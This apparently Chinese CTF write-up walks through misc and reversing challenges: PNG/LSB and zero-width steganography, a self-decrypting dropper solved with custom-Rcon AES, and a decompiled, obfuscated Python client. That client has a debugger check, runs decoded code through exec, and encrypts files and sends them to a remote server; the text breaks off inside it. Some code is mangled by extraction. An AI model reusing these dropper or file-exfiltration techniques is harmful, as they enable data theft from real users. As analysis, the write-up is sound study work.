input_file.read_bytes()# Parse PNG infoinfo = get_png_info(png_data)width = info['width']height = info['height']num_channels = info['channels']# Extract and concatenate all IDAT chunksidat_data = bytearray()idx = 0whileTrue:    i = png_data.find(b'IDAT', idx)if i < 0:breakif i >= 4:        length = int.from_bytes(png_data[i - 4:i], 'big')        data_start = i + 4        data_end = data_start + lengthif data_end <= len(png_data):            idat_data.extend(png_data[data_start:data_end])    idx = i + 1idat_data = bytes(idat_data)raw = zlib.decompressobj().decompress(idat_data)row_len = 1 + num_channels * widthexpected = row_len * heightmax_delta = len(raw) - expected# dpneg = -10 ** 9prev = [neg] * (max_delta + 1)prev[0] = 1if raw[0] <= 4else0parents = []for r in range(1, height):    cur = [neg] * (max_delta + 1)    par = [-1] * (max_delta + 1)for d in range(max_delta + 1):        best = neg        best_pd = -1        lo = max(0, d - 12)for pd in range(lo, d + 1):if prev[pd] > best:                best = prev[pd]                best_pd = pdif best_pd >= 0:            idx_offset = d + r * row_lenif idx_offset < len(raw):                cur[d] = best + (1if raw[idx_offset] <= 4else0)                par[d] = best_pd    parents.append(par)    prev = curdefendpoint_score(d):    base_score = prev[d]    penalty = abs(d - max_delta) * 0.2return base_score - penaltyend_delta = max(range(max_delta + 1), key=endpoint_score)path = [end_delta]for r in range(height - 10-1):    end_delta = parents[r - 1][end_delta]    path.append(end_delta)path.reverse()stride = num_channels * widthrows = []prior = bytearray(stride)for r, d in enumerate(path):    start = d + r * row_len    filter_type = raw[start]    filtered = raw[start + 1:start + 1 + stride]try:        recon = reconstruct_scanline(filter_type, filtered, prior, num_channels)        rows.append(recon)        prior = reconexcept ValueError:        recon = bytes(stride)        rows.append(recon)        prior = bytearray(stride)img_data = b''.join(rows)img = Image.frombytes('RGB', (width, height), img_data)img.save(output_file)

拿出来是这样一张。

低位lsb,RGB拼接。能看到zip包。

这里小文件可以用crc32爆破了。

于是恢复出来

pass isc1!xxtLf%fXYPkaA

解压flag.txt,0宽字符。。。。01编码,复原。

    zw = ''.join(ch for ch in text if ch in'\u200b\u200c')if not zw:        raise ValueError('no zero-width data found')    bits = ''.join('0'if ch == '\u200b'else'1'for ch in zw)    usable = len(bits) // 8 * 8    raw = bytes(int(bits[i:i + 8], 2) for i in range(0, usable, 8))    try:return raw.decode('utf-8')    except UnicodeDecodeError:return raw.decode('latin1')

Re

re1

这里拼了个pyc,拿下来pylingual还原。

# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'Payload_To_PixelCode_video.py'# Bytecode version: 3.7.0 (3394)# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)from PIL import Imageimport mathimport osimport sysimport numpy as npimport imageiofrom tqdm import tqdmdeffile_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):ifnot os.path.isfile(input_file):returnNone    file_size = os.path.getsize(input_file)    binary_string = ''with open(input_file, 'rb'as f:for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):            binary_string += ''.join((f'{byte:08b}'for byte in chunk))    xor_key = '10101010'    xor_binary_string = ''for i in range(0, len(binary_string), 8):        chunk = binary_string[i:i + 8]if len(chunk) == 8:            chunk_int = int(chunk, 2)            key_int = int(xor_key, 2)            xor_result = chunk_int ^ key_int            xor_binary_string += f'{xor_result:08b}'else:            xor_binary_string += chunk    binary_string = xor_binary_string    pixels_per_image = width // pixel_size * (height // pixel_size)    num_images = math.ceil(len(binary_string) / pixels_per_image)    frames = []for i in tqdm(range(num_images), desc='生成视频帧'):        start = i * pixels_per_image        bits = binary_string[start:start + pixels_per_image]if len(bits) < pixels_per_image:            bits = bits + '0' * (pixels_per_image - len(bits))        img = Image.new('RGB', (width, height), color='white')for r in range(height // pixel_size):            row_start = r * (width // pixel_size)            row_end = (r + 1) * (width // pixel_size)            row = bits[row_start:row_end]for c, bit in enumerate(row):                color = (000if bit == '1'else (255255255)                x1, y1 = (c * pixel_size, r * pixel_size)                img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))        frames.append(np.array(img))with imageio.get_writer(output_file, fps=fps, codec='libx264'as writer:for frame in tqdm(frames, desc='写入视频帧'):            writer.append_data(frame)if __name__ == '__main__':    input_path = 'payload'if os.path.exists(input_path):        file_to_video(input_path)else:        sys.exit(1)

简单还原下。

from PIL import Imageimport cv2import mathimport numpy as npfrom tqdm import tqdmcap = cv2.VideoCapture("video.mp4")bits = ""width=640height=480pixel_size=8fps=10total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))for _ in tqdm(range(total_frames)):    ret, frame = cap.read()ifnot ret:break    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)for r in range(height // pixel_size):for c in range(width // pixel_size):            x = c * pixel_size            y = r * pixel_size            pixel = frame[y + pixel_size // 2, x + pixel_size // 2]if np.mean(pixel) < 128:                bits += "1"else:                bits += "0"cap.release()xor_key = "10101010"recovered_bits = ""for i in range(0, len(bits), 8):    chunk = bits[i : i + 8]if len(chunk) == 8:        val = int(chunk, 2) ^ int(xor_key, 2)        recovered_bits += f"{val:08b}"data = bytearray()for i in range(0, len(recovered_bits), 8):    byte = recovered_bits[i : i + 8]if len(byte) == 8:        data.append(int(byte, 2))open("1""wb").write(data)
import hashlibstrs = """8277e0910d750195b448797616e091ad0cc175b9c0f1b6a831c399e2697726614b43b0aee35624cd95b910189b3dc231e358efa489f58062f10dd7316b65649ef95b70fdc3088560732a5ac135644506c81e728d9d4c2f636f067f89cc14862c92eb5ffee6ae2fec3ad71c777531578fc4ca4238a0b923820dcc509a6f75849b8fa14cdd754f91cc6554c9e71929cce7c9f0f895fb98ab9159f51fd0297e236d336d5ebc5436534e61d16e63ddfca327eccbc87e4b5ce2fe28308fd9f2a7baf3cfcd208495d565ef66e7dff9f98764daa87ff679a2f3e71d9181a67b7542122ce4da3b7fbbce2345d7772b0674a318d5e1671797c52e15f763380b45e841ec328f14e45fceea167a5a36dedd4bea25431679091c5a880faf6fb5e6087eb1b2dc4a8a08f09d37b73795649038408b5f33cbb184dd8e05c9709e5dcaedaa0495cf""".splitlines()maps = {}for i in range(0,255):    r = hashlib.md5(chr(i).encode()).hexdigest()    maps[r] = chr(i)for s in strs:    print(maps[s], end="")

re2

int __fastcall main(int argc, const char **argv, const char **envp){  FILE *v3; // rax  int v4; // edi  _BYTE *v5; // rax  void *v6; // rbx  signed int v7; // r12d  FILE *v8; // rax  FILE *v9; // rsi  char Str[32]; // [rsp+20h] [rbp-368h] BYREF  char Buffer[256]; // [rsp+40h] [rbp-348h] BYREF  CHAR v13[272]; // [rsp+140h] [rbp-248h] BYREF  char FileName[312]; // [rsp+250h] [rbp-138h] BYREF  sub_401A30();if ( (unsigned int)sub_401550() )  {    v3 = (FILE *)off_404070();if ( j_fgets(Buffer, 256, v3) )    {      Buffer[j_strcspn(Buffer, Control)] = 0;      v4 = j_strcmp(Buffer, Str2);if ( v4 )      {        v4 = -1;        j_puts(aErrorInvalidPa);      }else      {        GetTempPathA(0x104u, v13);        sub_401870(Str);        j_sprintf(FileName, "%s%s", v13, Str);        v5 = j_malloc(0x7AACu);        v6 = v5;if ( v5 )        {          v7 = (unsigned int)sub_401660(aTvqqaamaaaaeaa, v5, 31404);          v8 = j_fopen(FileName, aWb);          v9 = v8;if ( v8 )          {            j_fwrite(v6, 1u, v7, v8);            j_fclose(v9);          }else          {            v4 = -1;          }          j_free(v6);        }else        {return -1;        }      }    }else    {      v4 = -1;      j_puts(aErrorReadingPa);    }  }else  {    v4 = -1;    j_puts(::Buffer);  }return v4;}

将一段base64编码的数据存为exe

提取它

data = '''TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZ'''# 此处省略完整的数据from base64 import b64decodedata = b64decode(data.replace('\n'''))with open('output.exe''wb'as f:    f.write(data)

提取出的exe无壳,但加密逻辑运行时解密

__int64 __fastcall DecryptCode(__int64 a1, constchar *a2){  __int64 v2; // rax  __int64 v5; // rbxint v6; // eax  __int64 v7; // r12  __int64 v8; // rax  _BYTE *v9; // r13  SIZE_T v10; // rsi  DWORD flOldProtect; // [rsp+20h] [rbp-48h] BYREFchar Str1[8]; // [rsp+27h] [rbp-41h] BYREFchar v14; // [rsp+2Fh] [rbp-39h]  v2 = a1 + *(int *)(a1 + 60);  v5 = v2 + *(unsigned __int16 *)(v2 + 20) + 24;  v6 = *(unsigned __int16 *)(v2 + 6);if ( !(_WORD)v6 )return0;  v7 = v5 + 40LL * (unsignedint)(v6 - 1) + 40;while ( 1 )  {    v8 = *(_QWORD *)v5;    v14 = 0;    *(_QWORD *)Str1 = v8;if ( !strcmp(Str1, a2) )break;    v5 += 40;if ( v7 == v5 )return0;  }  v9 = (_BYTE *)(*(unsignedint *)(v5 + 12) + a1);if ( (strcmp(a2, ".mydata") == 0 ? -86 : 85) == *v9 )return0;  v10 = *(int *)(v5 + 16);if ( !VirtualProtect(v9, v10, 0x40u, &flOldProtect) )// rwxreturn0;  RC4(v9, v10, pKey, 32);  VirtualProtect(v9, v10, flOldProtect, &flOldProtect);return1;}__int64 sub_401A10(){  HMODULE ModuleHandleA; // rbx  ModuleHandleA = GetModuleHandleA(0);  DecryptCode((__int64)ModuleHandleA, ".mydata");return DecryptCode((__int64)ModuleHandleA, ".hello");}

运行时调试,得到加密的主要逻辑

unsigned __int64 __fastcall sub_404070(_BYTE *a1){unsigned __int16 v1; // axunsigned __int64 v2; // r8  __int64 v3; // raxunsigned __int64 v4; // rbxunsigned __int64 v5; // rax  __int64 v6; // rdxunsigned __int64 result; // rax  LOBYTE(v1) = *a1;  HIBYTE(v1) = a1[5];  v2 = ((unsigned __int64)(unsigned __int8)a1[3] << 56)     | ((unsigned __int64)(unsigned __int8)a1[14] << 48) & 0xFFFFFFFFFFFFFFLL     | ((unsigned __int64)(unsigned __int8)a1[9] << 40) & 0xFFFFFFFFFFFFLL     | ((unsigned __int64)(unsigned __int8)a1[4] << 32) & 0xFFFFFFFFFFLL     | ((unsigned __int8)a1[15] << 24)     | ((unsigned __int64)(unsigned __int8)a1[10] << 16) & 0xFFFFFF     | v1;  v3 = (unsigned __int8)a1[8];  BYTE1(v3) = a1[13];  v4 = (unsigned __int64)(unsigned __int8)a1[1] << 40;  v5 = ((unsigned __int64)(unsigned __int8)a1[12] << 32)     | ((unsigned __int8)a1[7] << 24)     | ((unsigned __int64)(unsigned __int8)a1[2] << 16) & 0xFFFFFF0000FFFFFFuLL     | v3 & 0xFFFFFF000000FFFFuLL;  v6 = (unsigned __int8)a1[6];  *(_QWORD *)a1 = v2;  result = ((unsigned __int64)(unsigned __int8)a1[11] << 56)         | (v6 << 48) & 0xFFFFFFFFFFFFFFLL         | v4 & 0xFFFFFFFFFFFFLL         | v5 & 0xFFFFFFFFFFLL;  *((_QWORD *)a1 + 1) = result;return result;}__int64 __fastcall sub_404190(unsigned __int8 *a1){unsigned __int8 *v1; // r11unsigned __int8 v2; // r8int v3; // r9dchar v4; // r10int v5; // eaxunsigned __int8 v6; // blunsigned __int8 v7; // siunsigned __int8 v8; // dlunsigned __int8 v9; // diint v10; // r12dbool v11; // sfunsigned __int8 v12; // bpint v13; // edichar v14; // r9int v15; // eaxint v16; // r13dint v17; // ediint v18; // eaxunsigned __int8 v19; // r9char v20; // r10int v21; // r9dint v22; // r12dunsigned __int8 v23; // bpint v24; // edichar v25; // r9int v26; // eaxint v27; // r13dunsigned __int8 v28; // bpint v29; // ediint v30; // eaxchar v31; // r9int v32; // r13dchar v33; // r9unsigned __int8 v34; // bpint v35; // edichar v36; // r10int v37; // eaxint v38; // r13dunsigned __int8 v39; // r10int v40; // eaxchar v41; // r9int v42; // r10dint v43; // ebpint v44; // r10d  __int64 result; // raxchar v46; // r9char v47; // r8unsignedint v48; // ebp  v1 = a1 + 16;do  {    v2 = *a1;    v3 = 8;    v4 = 0;    v5 = 2;    v6 = a1[1];    v7 = a1[2];    v8 = a1[3];    v9 = *a1;do    {if ( (v9 & 1) != 0 )        v4 ^= v5;      v10 = (2 * v5) ^ 0x1B;      v11 = (v5 & 0x80u) != 0;      v5 *= 2;if ( v11 )        v5 = v10;      v9 >>= 1;      --v3;    }while ( v3 );    v12 = a1[1];    v13 = 8;    v14 = 0;    v15 = 3;do    {if ( (v12 & 1) != 0 )        v14 ^= v15;      v16 = (2 * v15) ^ 0x1B;      v11 = (v15 & 0x80u) != 0;      v15 *= 2;if ( v11 )        v15 = v16;      v12 >>= 1;      --v13;    }while ( v13 );    v17 = a1[1];    v18 = 2;    v19 = v8 ^ v7 ^ v4 ^ v14;    v20 = 0;    *a1 = v19;    v21 = 8;do    {if ( (v17 & 1) != 0 )        v20 ^= v18;      v22 = (2 * v18) ^ 0x1B;      v11 = (v18 & 0x80u) != 0;      v18 *= 2;if ( v11 )        v18 = v22;      LOBYTE(v17) = (unsigned __int8)v17 >> 1;      --v21;    }while ( v21 );    v23 = v7;    v24 = 8;    v25 = 0;    v26 = 3;do    {if ( (v23 & 1) != 0 )        v25 ^= v26;      v27 = (2 * v26) ^ 0x1B;      v11 = (v26 & 0x80u) != 0;      v26 *= 2;if ( v11 )        v26 = v27;      v23 >>= 1;      --v24;    }while ( v24 );    v28 = v7;    v29 = 8;    v30 = 2;    a1[1] = v8 ^ v2 ^ v20 ^ v25;    v31 = 0;do    {if ( (v28 & 1) != 0 )        v31 ^= v30;      v32 = (2 * v30) ^ 0x1B;      v11 = (v30 & 0x80u) != 0;      v30 *= 2;if ( v11 )        v30 = v32;      v28 >>= 1;      --v29;    }while ( v29 );    v33 = v6 ^ v2 ^ v31;    v34 = v8;    v35 = 8;    v36 = 0;    v37 = 3;do    {if ( (v34 & 1) != 0 )        v36 ^= v37;      v38 = (2 * v37) ^ 0x1B;      v11 = (v37 & 0x80u) != 0;      v37 *= 2;if ( v11 )        v37 = v38;      v34 >>= 1;      --v35;    }while ( v35 );    v39 = v33 ^ v36;    v40 = 3;    v41 = 0;    a1[2] = v39;    v42 = 8;do    {if ( (v2 & 1) != 0 )        v41 ^= v40;      v43 = (2 * v40) ^ 0x1B;      v11 = (v40 & 0x80u) != 0;      v40 *= 2;if ( v11 )        v40 = v43;      v2 >>= 1;      --v42;    }while ( v42 );    v44 = 8;    LODWORD(result) = 2;    v46 = v7 ^ v6 ^ v41;    v47 = 0;do    {if ( (v8 & 1) != 0 )        v47 ^= result;      v48 = (2 * result) ^ 0x1B;      v11 = (result & 0x80u) != 0LL;      result = (unsignedint)(2 * result);if ( v11 )        result = v48;      v8 >>= 1;      --v44;    }while ( v44 );    a1 += 4;    *(a1 - 1) = v46 ^ v47;  }while ( v1 != a1 );return result;}void __fastcall sub_404940(char *a1, _BYTE *a2, int a3, int a4){  _BYTE *v4; // rax  __int64 v5; // r11char v6; // r10int v7; // r12d  _BYTE *v8; // r9int v9; // edi  _BYTE *v10; // rcxchar v11; // dl  __int64 v12; // rbx  __int64 v13; // r11  __int64 v14; // r10  __int64 v15; // rsichar v16; // siif ( a3 > 0 )  {    v4 = a2;    v5 = (__int64)&a1[4 * (a3 - 1) + 4];do    {      v6 = *a1;      a1 += 4;      v4 += 4;      *(v4 - 4) = v6;      *(v4 - 3) = *(a1 - 3);      *(v4 - 2) = *(a1 - 2);      *(v4 - 1) = *(a1 - 1);    }while ( (char *)v5 != a1 );  }  v7 = 4 * a4 + 4;if ( a3 < v7 )  {    v8 = a2;    v9 = a3;    v10 = &a2[4 * a3];do    {      v15 = (unsigned __int8)*(v10 - 4);      v12 = (unsigned __int8)*(v10 - 3);      v13 = (unsigned __int8)*(v10 - 2);      v14 = (unsigned __int8)*(v10 - 1);if ( v9 % a3 )      {if ( v9 % a3 == 4 && a3 == 8 )        {          LOBYTE(v15) = pKey[v15 + 288];          LOBYTE(v12) = pKey[v12 + 288];          LOBYTE(v13) = pKey[v13 + 288];          LOBYTE(v14) = pKey[v14 + 288];        }      }else      {        v11 = pKey[v12 + 288];        LOBYTE(v12) = pKey[v13 + 288];        LOBYTE(v13) = pKey[v14 + 288];        LOBYTE(v14) = pKey[v15 + 288];        LOBYTE(v15) = pKey[v9 / a3 + 543] ^ v11;      }      v16 = *v8 ^ v15;      ++v9;      v8 += 4;      v10 += 4;      *(v10 - 4) = v16;      *(v10 - 3) = *(v8 - 3) ^ v12;      *(v10 - 2) = *(v8 - 2) ^ v13;      *(v10 - 1) = *(v8 - 1) ^ v14;    }while ( v9 != v7 );  }}__m128i *__fastcall sub_404B60(const __m128i *a1, __int64 a2, __m128i *a3, unsignedint a4, int a5){  __m128i v5; // xmm0  __m128i *v6; // r15char *v7; // rdx  __m128i *v8; // raxchar v9; // clchar *v10; // r12  __m128i *v11; // rax  __int64 v12; // rdxchar *v13; // rdx  __m128i *v14; // raxchar v15; // cl  __m128i *v16; // rax  __int64 v17; // rdxchar *v18; // rbxchar v19; // al  __m128i v21; // [rsp+20h] [rbp-148h] BYREF  _BYTE v22[16]; // [rsp+30h] [rbp-138h] BYREF  _BYTE v23[296]; // [rsp+40h] [rbp-128h] BYREF  v5 = _mm_loadu_si128(a1);  v6 = &v21;  sub_404940(a2, v22, a4, (unsignedint)a5, v5.m128i_i64[0], v5.m128i_i64[1]);  v7 = v22;  v8 = &v21;do  {    v9 = *v7++;    v8->m128i_i8[0] ^= v9;    v8 = (__m128i *)((char *)v8 + 1);  }while ( v8 != (__m128i *)v22 );if ( a5 > 1 )  {    v10 = v23;do    {      v11 = &v21;do      {        v12 = v11->m128i_u8[0];        v11 = (__m128i *)((char *)v11 + 1);        v11[-1].m128i_i8[15] = pKey[v12 + 288];      }while ( v11 != (__m128i *)v22 );      sub_404070(&v21);      sub_404190();      v13 = v10;      v14 = &v21;do      {        v15 = *v13++;        v14->m128i_i8[0] ^= v15;        v14 = (__m128i *)((char *)v14 + 1);      }while ( v14 != (__m128i *)v22 );      v10 += 16;    }while ( &v23[16 * (a5 - 2) + 16] != v10 );  }  v16 = &v21;do  {    v17 = v16->m128i_u8[0];    v16 = (__m128i *)((char *)v16 + 1);    v16[-1].m128i_i8[15] = pKey[v17 + 288];  }while ( v16 != (__m128i *)v22 );  sub_404070(&v21);  v18 = &v22[16 * a5];do  {    v19 = *v18++;    v6->m128i_i8[0] ^= v19;    v6 = (__m128i *)((char *)v6 + 1);  }while ( v6 != (__m128i *)v22 );  *a3 = _mm_load_si128(&v21);return a3;}void __fastcall sub_404CB0(const __m128i *a1, int a2, int a3, const __m128i *a4, __int64 a5){const __m128i *v7; // r14  __int64 m128i_i64; // r12  __m128i *v9; // rax  __m128i *v10; // rdx  __int8 v11; // r8  __m128i v12; // rax  __m128i v13; // [rsp+30h] [rbp-78h] BYREF  __m128i v14; // [rsp+40h] [rbp-68h] BYREF  __m128i v15; // [rsp+50h] [rbp-58h] BYREF  v14 = _mm_loadu_si128(a4);if ( a2 > 0 )  {    v7 = a1;    m128i_i64 = (__int64)a1[((unsignedint)(a2 - 1) >> 4) + 1].m128i_i64;do    {      v9 = &v13;      v10 = &v14;      v13 = _mm_loadu_si128(v7);do      {        v11 = v10->m128i_i8[0];        v10 = (__m128i *)((char *)v10 + 1);        v9->m128i_i8[0] ^= v11;        v9 = (__m128i *)((char *)v9 + 1);      }while ( v9 != &v14 );      ++v7;      a5 += 16;      sub_404B60((unsignedint)&v13, a3, (unsignedint)&v15, 814);      v12 = v15;      *(__m128i *)(a5 - 16) = v15;      v14 = v12;    }while ( v7 != (const __m128i *)m128i_i64 );  }}_BOOL8 __fastcall sub_404EF0(char *a1){char v1; // dl  __int64 i; // rax  __int64 v3; // r8int v4; // eaxint v5; // r10dint v6; // ebxchar v7; // r9  __m128i *v8; // rax  _BOOL8 result; // rax  BOOL v10; // eaxchar v11; // [rsp+2Fh] [rbp-219h]  __m128i v12; // [rsp+30h] [rbp-218h] BYREF  _QWORD v13[35]; // [rsp+130h] [rbp-118h] BYREF  v1 = *a1;if ( *a1 )  {for ( i = 1; i != 241; ++i )    {      *(&v11 + i) = v1;      v1 = a1[i];      v3 = (int)i;if ( !v1 )      {        v4 = i & 0xF;        v5 = 16 - v4;        v6 = v3 + 16 - v4;        v7 = 16 - v4;goto LABEL_6;      }    }    v6 = 256;    v7 = 16;    v5 = 16;    v3 = 240;  }else  {    v6 = 16;    v7 = 16;    v5 = 16;    v3 = 0;  }LABEL_6:  v8 = (__m128i *)((char *)&v12 + v3);do  {    v8->m128i_i8[0] = v7;    v8 = (__m128i *)((char *)v8 + 1);  }while ( v8 != (__m128i *)&v12.m128i_i8[v3 + 1 + (unsignedint)(v5 - 1)] );  sub_404CB0(&v12, v6, (int)(&xmmword_408021 - 2), &xmmword_408021, (__int64)v13);  result = 0;if ( v6 == 16 )  {    v10 = v13[0] != 0x6243C3D78F1E5E9BLL || v13[1] != 0xF43C3DCEC08637A2uLL;return !v10;  }return result;}

实际上就是使用了自定义Rcon的 AES-256-CBC

SBOX = [    ...]INV_SBOX = [0] * 256for i in range(256): INV_SBOX[SBOX[i]] = i# 魔改的 Rcon 常量CUSTOM_RCON = [0x000x9C0x100x130x150x190x010x31]defgalois_mult(a, b):    p = 0for i in range(8):if b & 1: p ^= a        hi_bit_set = a & 0x80        a <<= 1if hi_bit_set: a ^= 0x1B        b >>= 1return p % 256definv_mix_columns(state):for i in range(4):        c = [state[j][i] for j in range(4)]        state[0][i] = galois_mult(c[0], 0x0e) ^ galois_mult(c[1], 0x0b) ^ galois_mult(c[2], 0x0d) ^ galois_mult(c[3], 0x09)        state[1][i] = galois_mult(c[0], 0x09) ^ galois_mult(c[1], 0x0e) ^ galois_mult(c[2], 0x0b) ^ galois_mult(c[3], 0x0d)        state[2][i] = galois_mult(c[0], 0x0d) ^ galois_mult(c[1], 0x09) ^ galois_mult(c[2], 0x0e) ^ galois_mult(c[3], 0x0b)        state[3][i] = galois_mult(c[0], 0x0b) ^ galois_mult(c[1], 0x0d) ^ galois_mult(c[2], 0x09) ^ galois_mult(c[3], 0x0e)definv_shift_rows(state):    state[1][1], state[1][2], state[1][3], state[1][0] = state[1][0], state[1][1], state[1][2], state[1][3]    state[2][2], state[2][3], state[2][0], state[2][1] = state[2][0], state[2][1], state[2][2], state[2][3]    state[3][3], state[3][0], state[3][1], state[3][2] = state[3][0], state[3][1], state[3][2], state[3][3]defadd_round_key(state, round_key):for i in range(4):for j in range(4):            state[j][i] ^= round_key[i][j]defkey_expansion(key):    w = [[key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]] for i in range(8)]for i in range(860):        temp = w[i-1][:]if i % 8 == 0:            temp = temp[1:] + temp[:1]            temp = [SBOX[b] for b in temp]            temp[0] ^= CUSTOM_RCON[i // 8]elif i % 8 == 4:            temp = [SBOX[b] for b in temp]        w.append([w[i-8][j] ^ temp[j] for j in range(4)])return wdefaes_decrypt_block(ciphertext, expanded_key):    state = [[ciphertext[i*4+j] for i in range(4)] for j in range(4)]    add_round_key(state, expanded_key[14*4 : 15*4])for round in range(130-1):        inv_shift_rows(state)for i in range(4):for j in range(4):                state[j][i] = INV_SBOX[state[j][i]]        add_round_key(state, expanded_key[round*4 : (round+1)*4])        inv_mix_columns(state)    inv_shift_rows(state)for i in range(4):for j in range(4):            state[j][i] = INV_SBOX[state[j][i]]    add_round_key(state, expanded_key[0:4])return [state[j][i] for i in range(4for j in range(4)]# 拼装提取出的所有 Hex 数据key_hex = "C23012AB39101833F8ED4E468DA15D8D8CFBF0726899DC7C846E7ECF32BBDAF8"iv_hex  = "AEBA0DBBCA267F9906ED7C70E38D8B11"# 将三块密文拼接在一起block1 = "9B5E1E8FD7C34362A23786C0CE3D3CF4"block2 = "C3B688FF3C9C13D2BB6F49CEFF59A25C"block3 = "36E4619E6061C3BB3F63AF003B3D8DA7"ct_hex = block1 + block2 + block3key = bytes.fromhex(key_hex)iv = list(bytes.fromhex(iv_hex))ct = bytes.fromhex(ct_hex)expanded_keys = key_expansion(list(key))# CBC 解密循环plain = []prev_block = ivfor i in range(0, len(ct), 16):    block = list(ct[i:i+16])    dec_block = aes_decrypt_block(block, expanded_keys)    plain += [dec_block[j] ^ prev_block[j] for j in range(16)]    prev_block = block# 去除 PKCS#7 填充pad_len = plain[-1]if1 <= pad_len <= 16and all(p == pad_len for p in plain[-pad_len:]):    plain = bytes(plain[:-pad_len]).decode('utf-8')    print(f"\n解密成功: {plain}\n")

re3

pyinstaller,直接拆。拆出来pyc丢给pylingual。

# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'client.py'# Bytecode version: 3.10.b1 (3439)# Source timestamp: 1970-01-01 00:00:00 UTC (0)import base64import sysimport osimport jsonimport socketimport hashlibimport crypt_coreimport builtinsdef_oe(_d, _k1, _k2, _rn):# ***<module>._oe: Failure: Compilation Errortry:        _b = base64.b85decode(_d.encode())        _r = []for _i, _x in enumerate(_b):return ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn), _i, 3or ((_k1, _k2, _rn),            _r.append(_x, _k if _k elseNone)        _s = bytes(_r).decode()        _res = []for _c in _s:if _c.isalpha():                _base = ord('A'if _c.isupper() else ord('a')                _res.append((chr, ord(_c), _base, _rn, 26, _base))else:if _c.isdigit():                    _res.append(str(int(_c), _rn or10))else:                    _res.append(_c)return''.join(_res)except:return _d_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)for _k in dir(builtins):ifnot _k.startswith('_'):        _globs[_k] = getattr(builtins, _k)_globs['base64'] = base64_globs['sys'] = sys_globs['os'] = os_globs['json'] = json_globs['socket'] = socket_globs['hashlib'] = hashlib_globs['crypt_core'] = crypt_coredef_obf_check():if hasattr(sys, 'gettrace'):        _tr = sys.gettrace()if _tr isnotNone:returnFalsereturnTruedef_obf_exec(_code):# ***<module>._obf_exec: Failure: Different bytecodeifnot _obf_check():returnNoneelse:        exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))_1667 = '...[redacted]...'_obf_exec(base64.b85decode(_1667).decode())

再拆

_j0 = lambda: (30 ^ 126) + (520 % 26)_j1 = lambda: (158 ^ 184) + (820 % 54)_j2 = lambda: (37 ^ 2) + (687 % 25)_j3 = lambda: (72 ^ 112) + (474 % 30)_j4 = lambda: (173 ^ 82) + (257 % 73)_j5 = lambda: (117 ^ 203) + (331 % 54)_j6 = lambda: (242 ^ 46) + (846 % 33)_j7 = lambda: (21 ^ 148) + (425 % 77)_j8 = lambda: (139 ^ 134) + (427 % 21)_j9 = lambda: (245 ^ 62) + (413 % 85)_j10 = lambda: (242 ^ 65) + (892 % 30)_j11 = lambda: (22 ^ 58) + (740 % 59)_j12 = lambda: (139 ^ 248) + (771 % 74)_j13 = lambda: (219 ^ 230) + (262 % 63)_j14 = lambda: (17 ^ 89) + (622 % 38)_j15 = lambda: (229 ^ 205) + (369 % 25)_j16 = lambda: (111 ^ 33) + (433 % 50)_j17 = lambda: (41 ^ 142) + (512 % 21)class_Obf3776:def__init__(self):        self._v = 751def_m(self):return self._v * 5#!/usr/bin/env python3import socketimport jsonimport osimport sysimport hashlibimport timesys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))import crypt_coreclassCustomBase64:    CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr"8321417)    STANDARD_ALPHABET = (        _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}"8321417)    )    ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)    DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)    @classmethoddefdecode(cls, data: str) -> bytes:import base64        std_b64 = data.translate(cls.DECODE_TABLE)return base64.b64decode(std_b64)SERVER_HOST = ""SERVER_PORT = 9999KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ"8321417)KEY = CustomBase64.decode(KEY_B64)FILES_TO_SEND = [_oe("I-p}FvS)q0emD"8321417), _oe("B(-BJ_<B6O"8321417), _oe("C$MxRtZ99{emD"8321417)]def_opaque_true():    _x = 0for _i in range(100):        _x += _i * (_i - _i + 1)return _x >= 0def_opaque_false():    _a, _b = 57return (_a * _b) == (_b * _a + 1)def_dead_calc():    _dead = 0for _i in range(50):        _dead = (_dead + _i) % 17if _dead > 100:            _dead = _dead * 2 + 1return _deaddefencrypt_file(key: bytes, plaintext: bytes) -> bytes:    _state = 0    _result = Nonewhile _state < 3:if _state == 0:if _opaque_true():                _result = crypt_core.encode_data(plaintext, key[:16])                _state = 2else:                _dead_calc()                _state = 1elif _state == 1:            _dead_calc()            _state = 2elif _state == 2:if _opaque_false():                _result = None            _state = 3return _resultdefsend_single_file(sock, filename, plaintext):    _s = 0    _ct = None    _pl = Nonewhile _s < 5:if _s == 0:            _ct = encrypt_file(KEY, plaintext)            _s = 1elif _s == 1:            _pl = {_oe("B&>2Jvtu`)"8321417): filename, 